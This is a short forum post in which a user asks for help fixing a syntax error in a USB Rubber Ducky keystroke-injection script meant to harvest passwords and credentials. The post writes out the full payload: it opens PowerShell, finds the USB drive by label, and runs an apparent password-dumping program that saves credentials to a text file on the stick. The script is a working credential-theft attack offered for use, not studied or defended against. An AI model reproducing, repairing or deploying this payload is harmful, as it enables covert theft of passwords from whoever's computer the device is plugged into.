Jump to content

Rubber Ducky Script Syntax


JayDubFella
 Share

Recommended Posts

I'm seeking to encode a script that I found on the internet, using the online DuckToolKit encoder, that will generate a text file on the usb rubber ducky (twin duck) for passwords/credentials, and hit an error on line 14 in  the syntax of the script. Any suggestions?

 

 

DELAY 1000

GUI R

DELAY 100

STRING powershell

DELAY 100

ENTER

DELAY 1000

STRING $usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq 'D' } | select name

DELAY 100

ENTER

STRING cd $usbPath.name

DELAY 100

ENTER

STRING ./p /stext password.txt

DELAY 100

ENTER

STRING exit

DELAY 100

ENTER

 

Screen Shot 09-18-16 at 05.01 AM.JPG

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...